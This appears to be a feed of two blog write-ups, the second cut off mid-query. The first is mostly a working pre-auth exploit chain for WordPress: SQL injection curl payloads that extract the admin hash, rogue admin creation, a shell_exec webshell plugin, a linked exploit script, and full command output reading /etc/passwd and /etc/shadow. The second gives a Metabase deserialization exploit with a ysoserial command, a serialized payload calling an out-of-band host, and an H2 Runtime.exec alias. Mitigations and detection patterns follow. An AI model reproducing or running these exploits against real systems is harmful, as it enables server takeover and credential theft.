because CVE-2026–63030 provides exactly the condition CVE-2026–60137 requires: a code path through which a non-integer string value reaches WP_Query&#39;s author__not_in processing logic without first passing through the schema validator that would reject it.</p><p>Once the attacker has an in-band SQL injection channel, the remainder of the attack proceeds as follows:</p><p><strong>Phase 1 — Reconnaissance.</strong> The attacker extracts the database version, current user, database name, table prefix, and the first administrator’s user ID and login name using a sequence of UNION SELECT requests.</p><p><strong>Phase 2 — Administrator Account Creation.</strong> Rather than cracking the administrator’s password hash offline, the attacker uses the injection primitive to write new database rows directly. This involves injecting fake oEmbed cache posts and poisoning a WP_Customize_Manager changeset row. The changeset is constructed to trigger wp_insert_user() — WordPress&#39;s own user-creation function — with administrator as the assigned role. The new account is created with an attacker-chosen username and password without any WordPress authentication.</p><p><strong>Phase 3 — Webshell Deployment.</strong> The attacker authenticates to wp-admin using the newly created administrator credentials, uploads a minimal PHP plugin packaged as a zip archive through WordPress&#39;s standard plugin upload interface, and activates it. The plugin contains a single PHP file that passes the c query parameter to shell_exec() and returns the output.</p><p><strong>Phase 4 — Command Execution.</strong> The attacker issues HTTP GET requests to the installed plugin file with the desired OS command in the c parameter. The server executes the command as the web server process user (typically www-data) and returns the output in the HTTP response body.</p><p>The entire chain from the first unauthenticated probe to OS command execution produces no log entries that differ from ordinary web traffic, with the exception of the high request volume to /batch/v1 during the SQL extraction phase.</p><h2>6. The Exploitation Window</h2><p>At the time of initial disclosure, no public exploit code and no confirmed in-the-wild exploitation had been reported. The researchers who discovered the vulnerability withheld full technical details to provide defenders with time to apply patches.</p><p>That restraint represents a narrow window, not an indefinite delay. WordPress Core is open-source software. The fixed and unfixed release archives are publicly accessible, and binary diffing between consecutive versions is a well-established technique for reconstructing vulnerabilities from patches. Mass exploitation of WordPress vulnerabilities is a mature operational domain. Once a working proof of concept becomes available, automated scanning campaigns typically follow within hours.</p><p>The practical implication for defenders is that the timeline before opportunistic exploitation begins is measured in days from disclosure, not weeks. The value of that gap is entirely a function of how quickly an organization can identify every affected instance it operates, confirm which are network-reachable, and verify that patches have been applied.</p><p>Point-in-time version scanning addresses the first question slowly and the second question not at all. A scanner that reports a version match establishes that a CVE may theoretically apply. It does not establish that an attacker can reach the batch endpoint and complete the injection chain from the network position they currently occupy. That distinction — between theoretical applicability and confirmed exploitability — determines whether a finding warrants immediate emergency response or can be handled through normal patching cycles.</p><h2>7. Step-by-Step Exploitation with curl</h2><p>The following commands demonstrate each stage of the exploitation chain against a local lab instance at http://localhost:8080. All commands are provided for educational and defensive security research purposes.</p><h3>Step 1 — Verify the Batch Endpoint is Accessible</h3><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;requests&quot;:[]}&#39; \<br>  -o /dev/null \<br>  -w &quot;HTTP Status: %{http_code}\n&quot;</pre><p>A 207 Multi-Status response confirms the endpoint is accessible. Any other status code indicates the endpoint is blocked or the target is not running a vulnerable WordPress version.</p><h3>Step 2 — Confirm Route-Confusion Desync</h3><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{<br>    &quot;requests&quot;: [<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;///&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/wp/v2/posts&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/wp/v2/block-renderer/core/archives&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/batch/v1&quot;, &quot;body&quot;: {&quot;requests&quot;: []}}<br>    ]<br>  }&#39; | grep -o &#39;&quot;code&quot;:&quot;[^&quot;]*&quot;&#39; | sort -u</pre><p>All three codes present confirms the target is vulnerable to CVE-2026–63030.</p><h3>Step 3 — Extract the Database Version</h3><p>The following command builds a UNION SELECT payload that returns the MySQL VERSION() value hex-encoded in the post title field of the response:</p><pre>PAYLOAD=$(python3 -c &quot;<br>import urllib.parse<br>cols = &#39;,&#39;.join([<br>    &#39;CONCAT(0x7c7c,HEX(VERSION()),0x7c7c)&#39; if i == 6 else str(i)<br>    for i in range(1, 24)<br>])<br>print(urllib.parse.quote(f&#39;0) UNION SELECT {cols}-- -&#39;))<br>&quot;)</pre><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &quot;{<br>    \&quot;requests\&quot;: [<br>      {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;///\&quot;},<br>      {<br>        \&quot;method\&quot;: \&quot;POST\&quot;,<br>        \&quot;path\&quot;: \&quot;/wp/v2/posts\&quot;,<br>        \&quot;body\&quot;: {<br>          \&quot;requests\&quot;: [<br>            {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;///\&quot;},<br>            {\&quot;method\&quot;: \&quot;GET\&quot;,  \&quot;path\&quot;: \&quot;/wp/v2/posts/999999?author_exclude=${PAYLOAD}&amp;orderby=none&amp;per_page=500\&quot;},<br>            {\&quot;method\&quot;: \&quot;GET\&quot;,  \&quot;path\&quot;: \&quot;/wp/v2/posts\&quot;}<br>          ]<br>        }<br>      },<br>      {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;/batch/v1\&quot;, \&quot;body\&quot;: {\&quot;requests\&quot;: []}}<br>    ]<br>  }&quot; | python3 -c &quot;<br>import sys, re<br>m = re.search(r&#39;\|\|([0-9A-Fa-f]+)\|\|&#39;, sys.stdin.read())<br>if m: print(&#39;DB Version:&#39;, bytes.fromhex(m.group(1)).decode())<br>&quot;</pre><p>Expected output:</p><pre>DB Version: 10.11.18-MariaDB-ubu2204</pre><h3>Step 4 — Extract the Administrator Password Hash</h3><pre>PAYLOAD=$(python3 -c &quot;<br>import urllib.parse<br>expr = &#39;SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1&#39;<br>cols = &#39;,&#39;.join([<br>    f&#39;CONCAT(0x7c7c,HEX(({expr})),0x7c7c)&#39; if i == 6 else str(i)<br>    for i in range(1, 24)<br>])<br>print(urllib.parse.quote(f&#39;0) UNION SELECT {cols}-- -&#39;))<br>&quot;)</pre><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &quot;{<br>    \&quot;requests\&quot;: [<br>      {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;///\&quot;},<br>      {<br>        \&quot;method\&quot;: \&quot;POST\&quot;,<br>        \&quot;path\&quot;: \&quot;/wp/v2/posts\&quot;,<br>        \&quot;body\&quot;: {<br>          \&quot;requests\&quot;: [<br>            {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;///\&quot;},<br>            {\&quot;method\&quot;: \&quot;GET\&quot;,  \&quot;path\&quot;: \&quot;/wp/v2/posts/999999?author_exclude=${PAYLOAD}&amp;orderby=none&amp;per_page=500\&quot;},<br>            {\&quot;method\&quot;: \&quot;GET\&quot;,  \&quot;path\&quot;: \&quot;/wp/v2/posts\&quot;}<br>          ]<br>        }<br>      },<br>      {\&quot;method\&quot;: \&quot;POST\&quot;, \&quot;path\&quot;: \&quot;/batch/v1\&quot;, \&quot;body\&quot;: {\&quot;requests\&quot;: []}}<br>    ]<br>  }&quot; | python3 -c &quot;<br>import sys, re<br>m = re.search(r&#39;\|\|([0-9A-Fa-f]+)\|\|&#39;, sys.stdin.read())<br>if m: print(&#39;Hash:&#39;, bytes.fromhex(m.group(1)).decode())<br>&quot;</pre><p>Expected output:</p><pre>Hash: $wp$2y$10$BSAr2Yyk/0gOtL5d0B3DFeToj1oTgzz4xiP3j9pjZN//oxkITSWU2</pre><h3>Step 5 — Boolean Blind Confirmation</h3><p>This request verifies the injection is functioning by evaluating a known-true condition through the X-WP-Total header:</p><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{<br>    &quot;requests&quot;: [<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;///&quot;},<br>      {<br>        &quot;method&quot;: &quot;POST&quot;,<br>        &quot;path&quot;: &quot;/wp/v2/posts&quot;,<br>        &quot;body&quot;: {<br>          &quot;requests&quot;: [<br>            {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;///&quot;},<br>            {&quot;method&quot;: &quot;GET&quot;,  &quot;path&quot;: &quot;/wp/v2/posts/999999?author_exclude=-1)%20AND%20(1%3D1)--%20-&quot;},<br>            {&quot;method&quot;: &quot;GET&quot;,  &quot;path&quot;: &quot;/wp/v2/posts&quot;}<br>          ]<br>        }<br>      },<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/batch/v1&quot;, &quot;body&quot;: {&quot;requests&quot;: []}}<br>    ]<br>  }&#39; | python3 -c &quot;<br>import sys, json<br>d = json.load(sys.stdin)<br>try:<br>    total = d[&#39;responses&#39;][1][&#39;body&#39;][&#39;responses&#39;][1][&#39;headers&#39;][&#39;X-WP-Total&#39;]<br>    result = &#39;TRUE — injection is functional&#39; if int(total) &gt; 0 else &#39;FALSE&#39;<br>    print(f&#39;X-WP-Total = {total}  |  Condition: {result}&#39;)<br>except Exception as e:<br>    print(&#39;Could not parse response:&#39;, e)<br>&quot;</pre><p>Expected output:</p><pre>X-WP-Total = 1  |  Condition: TRUE -- injection is functional</pre><h2>8. Automated PoC</h2><p>The complete four-step exploitation chain — desync confirmation, SQL reconnaissance, administrator creation, and webshell deployment — is automated in exploit.py on my github <a href="https://github.com/c0gnit00/Wp2Shell">https://github.com/c0gnit00/Wp2Shell</a>. The script requires no prior credentials and no special configuration on the target. It is implemented in the Python 3 standard library with no third-party dependencies.</p><h3>8.1 Command-Line Interface</h3><pre>usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]<br>              [--admin-user USER] [--admin-password PASS]<br>              [--prev-webshell-plugin PATH]</pre><p>The script accepts --url (short form -u) to specify the target WordPress base URL, defaulting to http://localhost:8080. The --command flag (short form -c) sets the OS command to execute, defaulting to id. The --insecure flag (short form -k) disables TLS certificate verification for targets using self-signed certificates.</p><p>For re-use mode — to skip the SQLi and admin-creation phases on subsequent runs — three flags must all be provided together: --admin-user and --admin-password supply the credentials of the previously created administrator account, and --prev-webshell-plugin provides the web path to the already-deployed webshell plugin file.</p><p>The three re-use flags must be provided together. When all three are present, the script skips the SQLi and administrator-creation phases and proceeds directly to authenticating with the provided credentials and issuing the command through the existing webshell. This is substantially faster on subsequent invocations against the same target.</p><h3>8.2 Full Chain Usage</h3><pre># Confirm RCE with the id command<br>python3 exploit.py --url http://localhost:8080 --command &quot;id&quot;</pre><pre># Identify the operating system<br>python3 exploit.py --url <a href="http://localhost:8080/">http://localhost:8080</a> --command &quot;uname -a&quot;</pre><pre># Read a sensitive file<br>python3 exploit.py --url <a href="http://localhost:8080/">http://localhost:8080</a> --command &quot;cat /etc/passwd&quot;</pre><pre># Against an HTTPS target with a self-signed certificate<br>python3 exploit.py --url <a href="https://target.internal/">https://target.internal</a> --command &quot;id&quot; --insecure</pre><h3>8.3 Re-Use Mode Usage</h3><p>After a full-chain run completes, the script prints a ready-to-use re-use command with the deployed credentials and shell path pre-filled. This allows rapid follow-up command execution without repeating the injection chain:</p><pre>python3 exploit.py \<br>  --url                  http://localhost:8080 \<br>  --command              &#39;cat /etc/shadow&#39; \<br>  --admin-user           wp2_poc_da4d1cf83acb \<br>  --admin-password       &#39;Wp2!J47LBKLEbu4ebAJo&#39; \<br>  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php</pre><h2>9. Full PoC Terminal Output</h2><h3>9.1 Full Exploitation Chain</h3><pre>$ python3 exploit.py --url http://localhost:8080/ -c &#39;uname -a&#39;</pre><pre>+======================================================================+<br>|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |<br>|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)   |<br>+======================================================================+<br>  Target :  <a href="http://localhost:8080/">http://localhost:8080</a><br>  Command:  uname -a<br>  Mode   :  FULL CHAIN<br></pre><pre>[STEP 1] Verifying batch endpoint + route-confusion desync<br>  [+] Batch endpoint reachable (HTTP 207)<br>  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)</pre><pre>[STEP 2] UNION SQLi -- database reconnaissance<br>  [+] Database version  : 10.11.18-MariaDB-ubu2204<br>  [+] Database user     : wpuser@%<br>  [+] Database name     : wordpress<br>  [+] Table prefix      : wp_<br>  [+] Admin login       : admin<br>  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/0gOtL5d0B3DFeToj1oTgzz4xiP3j9pjZN//oxkITSWU2<br>  [+] Admin user ID     : 1</pre><pre>[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning<br>  [*] Seeding oEmbed cache with 3 loopback URLs...<br>  [+] oEmbed cache IDs: [96, 97, 98]<br>  [*] Submitting changeset poison + user creation...<br>  [+] Admin created --&gt; username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo</pre><pre>[STEP 4] Authenticating + deploying webshell --&gt; running: uname -a<br>  [*] Logging in to wp-admin...<br>  [+] Logged in as administrator<br>  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...<br>  [+] Plugin uploaded<br>  [*] Activating plugin...<br>  [+] Plugin activated<br>  [*] Executing: uname -a</pre><pre>====================================================<br>  COMMAND OUTPUT  --&gt;  uname -a<br>====================================================<br>Linux 432068604b50 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux<br>====================================================</pre><pre>  [+] RCE confirmed -- Pre-Auth exploit chain complete</pre><pre>  +== RE-USE HINT ================================================+<br>  |  Skip the full chain next time -- pass these flags directly:  |<br>  +===============================================================+</pre><pre>  python3 exploit.py \<br>    --url                  <a href="http://localhost:8080/">http://localhost:8080</a> \<br>    --command              &#39;YOUR_COMMAND&#39; \<br>    --admin-user           wp2_poc_da4d1cf83acb \<br>    --admin-password       &#39;Wp2!J47LBKLEbu4ebAJo&#39; \<br>    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php</pre><h3>9.2 Re-Use Mode — Webshell Already Deployed</h3><pre>$ python3 exploit.py \<br>    --url                  http://localhost:8080 \<br>    --command              &#39;uname -a&#39; \<br>    --admin-user           wp2_poc_da4d1cf83acb \<br>    --admin-password       &#39;Wp2!J47LBKLEbu4ebAJo&#39; \<br>    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php</pre><pre>+======================================================================+<br>|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |<br>|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |<br>+======================================================================+<br>  Target :  <a href="http://localhost:8080/">http://localhost:8080</a><br>  Command:  uname -a<br>  Mode   :  RE-USE<br></pre><pre>[STEP 1] Re-using existing webshell --&gt; /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php<br>  [*] Logging in to wp-admin...<br>  [+] Logged in as administrator<br>  [*] Executing: uname -a</pre><pre>====================================================<br>  COMMAND OUTPUT  --&gt;  uname -a<br>====================================================<br>Linux 432068604b50 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux<br>====================================================</pre><pre>  [+] Command executed via existing webshell</pre><h2>10. Mitigation and Remediation</h2><h3>10.1 Primary Remediation — Patch</h3><p>The authoritative remediation for both CVEs is updating WordPress Core to a fixed release. WordPress enabled forced automatic updates for this vulnerability, but automatic updates should be verified rather than assumed — particularly for sites where automatic updates have been administratively disabled, or where the update process was interrupted.</p><p>Sites on the 7.0.x branch should update to 7.0.2 or later using wp core update. Sites on the 6.9.x branch should run wp core update --version=6.9.5, and sites on the 6.8.x branch should run wp core update --version=6.8.6.</p><p>Verify the installed version after updating:</p><pre>wp core version</pre><h3>10.2 What the Patch Changes</h3><p>For CVE-2026–63030, the patch re-indexes $matched_routes after each WP_Error entry so the validation and dispatch arrays remain synchronized at all times, eliminating the off-by-one handler shift. For CVE-2026-60137, the fix moves absint() sanitization outside the is_array() branch so it applies unconditionally to both array and string values, preventing any raw string from reaching the SQL NOT IN clause.</p><h3>10.3 Temporary Mitigations (Pre-Patch)</h3><p>If immediate patching is not feasible, the following controls reduce exposure. Each should be treated as a bridge measure only, not a permanent substitute for the patch.</p><p><strong>Block the batch endpoint at the web server or WAF level.</strong></p><p>Both URL forms of the endpoint must be blocked. Blocking only the path form leaves the query-string form accessible:</p><pre># Nginx<br>location ~* &quot;^/wp-json/batch&quot; { return 403; }<br>location ~* &quot;rest_route=/batch&quot; { return 403; }</pre><pre># Apache<br>RewriteRule ^wp-json/batch - [F,L]<br>RewriteCond %{QUERY_STRING} rest_route=/batch [NC]<br>RewriteRule ^ - [F,L]</pre><p><strong>Block via must-use plugin.</strong></p><p>A lightweight must-use plugin can disable the batch endpoint entirely from within WordPress:</p><pre>&lt;?php<br>// wp-content/mu-plugins/disable-batch.php<br>add_filter( &#39;rest_batch_enabled&#39;, &#39;__return_false&#39; );</pre><p><strong>Apply WAF rules against UNION injection patterns in REST parameters.</strong></p><p>Block requests whose query strings contain UNION, SELECT, and 0x in combination when directed at REST API paths. This is a heuristic that may produce false positives on legitimate requests containing those substrings.</p><p><strong>Restrict unauthenticated REST API access.</strong></p><p>Note that this will break REST-dependent functionality for anonymous users, including oEmbed previews, some theme features, and external integrations:</p><pre>// wp-config.php<br>add_filter( &#39;rest_authentication_errors&#39;, function( $result ) {<br>    if ( ! is_user_logged_in() ) {<br>        return new WP_Error( &#39;rest_not_logged_in&#39;, &#39;Authentication required.&#39;, array( &#39;status&#39; =&gt; 401 ) );<br>    }<br>    return $result;<br>});</pre><h3>10.4 Post-Compromise Indicators</h3><p>If exploitation is suspected before patching was applied, the patch alone is insufficient. An attacker who completed the chain may have installed a persistent webshell or created persistent administrator accounts. The following areas warrant review:</p><ul><li>Examine web server access logs for high-frequency POST requests to /?rest_route=/batch/v1 or /wp-json/batch/v1, particularly requests with responses larger than 5 KB.</li><li>Review the wp_users table for administrator accounts created outside normal onboarding processes, particularly accounts with usernames matching the pattern wp2_poc_* or similar.</li><li>Inspect the wp-content/plugins/ directory for plugin directories created recently and not present in the site&#39;s plugin management interface.</li><li>Review recently modified PHP files in wp-content/ directories for the presence of shell_exec, system, passthru, or base64_decode calls.</li><li>Rotate all WordPress secret keys and salts in wp-config.php and invalidate all active sessions.</li></ul><h2>11. References</h2><p>WordPress 7.0.2 release notes: <a href="https://wordpress.org/news/2026/07/wordpress-7-0-2">https://wordpress.org/news/2026/07/wordpress-7-0-2</a></p><p>WordPress 6.9.5 release notes: <a href="https://wordpress.org/news/2026/07/wordpress-6-9-5">https://wordpress.org/news/2026/07/wordpress-6-9-5</a></p><p>Wordfence advisory: <a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell</a></p><p>WordPress REST API Handbook: <a href="https://developer.wordpress.org/rest-api/">https://developer.wordpress.org/rest-api/</a></p><p>WP_Query class reference: <a href="https://developer.wordpress.org/reference/classes/wp_query/">https://developer.wordpress.org/reference/classes/wp_query/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f52142aae96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–59827 — Unsafe Deserialization of H2 Query Results in Metabase]]></title>
            <link>https://medium.com/@c0gnit00/cve-2026-59827-unsafe-deserialization-of-h2-query-results-in-metabase-9b9fe67f40db?source=rss-60fce9fc52b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b9fe67f40db</guid>
            <dc:creator><![CDATA[c0gnit00]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 06:14:35 GMT</pubDate>
            <atom:updated>2026-07-18T06:14:35.485Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critical | CWE-502: Deserialization of Untrusted Data</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3Eu8a7ZYGbthiwna.png" /></figure><h2>Overview</h2><p>CVE-2026–59827 is a critical remote code execution vulnerability in Metabase, the popular open-source business intelligence and data analytics platform. The flaw stems from how Metabase handles query results returned by an H2 database connection. When a native SQL query against an H2 source returns a column typed as OTHER, Metabase deserializes the raw bytes of that column into a Java object without performing any validation. An authenticated user who can run native queries is therefore able to smuggle a malicious serialized payload into the result set and trigger arbitrary code execution on the server hosting Metabase.</p><p>The vulnerability was assigned a CVSS score of 9.9, reflecting the minimal preconditions required and the full server-side code execution that results from successful exploitation.</p><h2>Metabase Versioning Scheme</h2><p>Metabase ships two parallel edition tracks from the same release cycle. The open-source edition uses version numbers prefixed with 0 — for example, v0.61.1. The enterprise (commercial) edition uses version numbers prefixed with 1 — for example, v1.61.1. Both editions share the same underlying codebase and are released together, so a vulnerability that affects v1.61.0 equally affects v0.61.0. Throughout this write-up, version numbers are written using the enterprise 1.xx prefix, but every affected version maps directly to its 0.xx open-source counterpart by replacing the leading 1 with 0.</p><h2>Affected Versions</h2><p>Both CVE-2026–59826 and CVE-2026–59827 were disclosed together in July 2026. They share overlapping version ranges but have different patch points.</p><h3>CVE-2026–59827 — Unsafe Deserialization (this blog)</h3><p>The vulnerable enterprise releases are 1.58.0 through 1.58.14, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through 1.61.1.3. The corresponding open-source releases are 0.58.0 through 0.58.14, 0.59.0 through 0.59.11, 0.60.0 through 0.60.6.2, and 0.61.0 through 0.61.1.3.</p><p>An internal patch was first issued as 1.61.1.4 (enterprise) and 0.61.1.4 (open-source). The first publicly available fixed release in the 1.61 line is 1.61.2 (v1.61.2.x / v0.61.2.x). Metabase Cloud instances were patched automatically by the provider.</p><h3>CVE-2026–59826 — Unsafe H2 Connection Properties (related)</h3><p>The vulnerable enterprise releases are 1.55.0 through 1.58.15.0, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through the entire 1.61.1.x line. The first fully patched public release is 1.61.2 (v1.61.2.x / v0.61.2.x). The scope of CVE-2026–59826 is broader, reaching back to the 1.55 release line, reflecting the longer-standing presence of the insufficiently validated database-creation code path it exploits.</p><h2>Background: Java Deserialization</h2><p>Java’s serialization mechanism allows an object in memory to be converted into a flat stream of bytes, stored or transmitted, and then reconstructed later by calling ObjectInputStream.readObject(). The critical property of this mechanism is that reconstruction executes code. Class constructors, readObject overrides, and finalizers all run during deserialization. If the bytes being read come from an untrusted source, an attacker can craft them to trigger arbitrary method calls through a sequence of existing, legitimate classes already loaded in the JVM. These sequences are known as gadget chains.</p><p>Gadget chains do not require introducing any new code to the application. They exploit the wiring of existing library classes whose normal methods, when called in the right order during deserialization, eventually reach a sink such as Runtime.exec(). Tools like <a href="https://github.com/frohoff/ysoserial/releases">ysoserial</a> exist specifically to generate these payloads for widely deployed libraries such as Apache Commons Collections, Spring Framework, and others.</p><h2>Background: H2’s OTHER Type</h2><p>H2 is a pure-Java embedded relational database. It defines a special SQL column type called OTHER that acts as a pass-through for arbitrary Java objects. When H2 stores a value in an OTHER column, it writes the bytes produced by Java&#39;s ObjectOutputStream. When it reads the value back, it calls ObjectInputStream.readObject() to reconstruct the object. The raw serialized bytes can also be supplied directly in a query using H2&#39;s hexadecimal literal syntax:</p><pre>SELECT CAST(X&#39;ACED0005...&#39; AS OTHER); <br>-- or <br>SELECT X&#39;ACED0005...&#39;::OTHER;</pre><p>The prefix ACED followed by 0005 is the Java serialization stream magic number and protocol version. Any hex string beginning with ACED0005 is a Java serialized object stream.</p><p>When H2 processes this query, it deserializes the hex bytes on the database side. The resulting object is then passed back to the calling application through the JDBC ResultSet. If the application inspects the column value — for example, to format it for display — it may trigger additional processing. This is exactly what Metabase does in the vulnerable code path.</p><h2>How the Vulnerability Works</h2><h3>The Vulnerable Code Path</h3><p>Metabase receives the JDBC ResultSet from the H2 driver and inspects column metadata to decide how to render each value for the user. When it encounters a column with the JDBC type Types.OTHER (also reported as JAVA_OBJECT), the vulnerable versions of Metabase attempt to deserialize the raw bytes in order to produce a displayable representation. This deserialization call, ObjectInputStream.readObject(), executes without any whitelist filtering or class validation.</p><p>The sequence of events is:</p><ol><li>The authenticated attacker opens the Metabase SQL query editor and targets a connected H2 database. The sample database is sufficient.</li><li>The attacker submits a native SQL query that returns a column of type OTHER containing a crafted serialized payload.</li><li>H2 processes the query and returns the raw bytes as a JAVA_OBJECT column in the ResultSet.</li><li>Metabase’s result-processing pipeline encounters the OTHER column type and calls readObject() on the bytes.</li><li>The gadget chain embedded in the payload fires, reaching Runtime.exec() and executing the attacker&#39;s command as the OS user running the Metabase process.</li></ol><h3>The Fix</h3><p>The patched versions resolve the issue by inspecting JDBC result metadata before attempting any deserialization. If a column is typed as JAVA_OBJECT, Metabase now rejects it outright rather than trying to parse it.</p><h2>Constraints and Attack Surface</h2><h3>What Access Is Required</h3><p>Exploitation requires authentication. The attacker must hold a Metabase account with native query execution permission on an H2-backed database. Administrator accounts satisfy this by default. Regular user accounts can also satisfy this requirement if an administrator has granted them the native queries data permission for the relevant database.</p><h3>H2 as a Data Warehouse Was Already Removed</h3><p>Metabase removed support for adding H2 as a new data warehouse connection in version 0.46.6.4, released in 2023. Attempting to register a new H2 connection through the admin interface returns the error “H2 is not supported as a data warehouse.” This removal was a response to earlier H2-related vulnerabilities and was intended to eliminate the risk of connecting to attacker-controlled H2 instances.</p><p>However, H2 removal from the data warehouse connection UI is not the same as H2 removal from Metabase. Two H2 databases remain present in every default Metabase installation.</p><p>The first is the application database. When Metabase is not configured to use an external database such as PostgreSQL or MySQL, it stores its own metadata — questions, dashboards, user accounts, and settings — in an H2 file at /metabase-data/metabase.db.mv.db. This database is not directly queryable through the Metabase UI.</p><p>The second, and more directly exploitable, is the sample database. During initial setup, Metabase creates an H2 database pre-populated with example data and makes it available as the “Sample Database” connection. This connection is present by default in every Metabase instance and is the primary attack surface for CVE-2026–59827. It is a live H2 connection that users can run native SQL queries against, and the connection string visible in the admin panel points to file:/plugins/sample-database.db.</p><h3>Write Permission on the Sample Database</h3><p>The sample database enforces read-only access for all users, including administrators. The Metabase database settings page at http://localhost:3000/admin/databases allows write access to be granted on connected databases, but the toggle is not available for the sample database. This means that Data Manipulation Language statements such as CREATE, UPDATE, and DELETE cannot be executed against the sample database through normal means.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eN8ETkFkh687eO1n.png" /></figure><p>This restriction matters because it closes off certain alternative attack paths. For instance, the H2 engine supports a CREATE ALIAS statement that can define a Java function and call it:</p><pre>CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {<br>    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(&quot;\\A&quot;);<br>    return s.hasNext() ? s.next() : &quot;&quot;;<br>} $$;</pre><p>Because write access is locked on the sample database, this DDL path is unavailable. The deserialization path through SELECT CAST(X&#39;...&#39; AS OTHER) is the viable exploit vector precisely because it requires only a SELECT statement, which is permitted for all users.</p><h2>Setting Up a Vulnerable Environment</h2><p>To test this vulnerability in a controlled lab environment, run a Metabase version in the affected range:</p><pre>docker run -d -p 3000:3000 \<br>  --name metabase-vulnerable \<br>  -v metabase-data:/metabase-data \<br>  metabase/metabase:v0.61.1</pre><p>Metabase will initialize at http://localhost:3000, create its H2 application database at /metabase-data/metabase.db.mv.db, and automatically provision the sample database. Complete the initial account setup to obtain an authenticated session. After setup, navigate to the SQL editor for the Sample Database. This is the execution environment for the exploit.</p><h2>Exploiting the Vulnerability</h2><h3>Step 1 — Confirm Deserialization Is Active</h3><p>Before attempting command execution, confirm that the deserialization path is reachable. The URLDNS gadget chain from ysoserial generates a payload that, when deserialized, makes an outbound DNS lookup to a specified hostname. It does not execute any system commands, making it a safe probe to establish that readObject() is actually being called.</p><p>Generate the payload:</p><pre>/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS &#39;http://your-oast-hostname.oast.fun&#39; | xxd -p | tr -d &#39;\n&#39;</pre><p>This produces a hex string beginning with aced0005. An example of the hex output from a captured payload:</p><pre>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78</pre><h3>Step 2 — Run the URLDNS Probe Query</h3><p>Open the SQL editor in Metabase against the Sample Database and run the following, substituting the hex string generated for your OAST hostname:</p><pre>SELECT 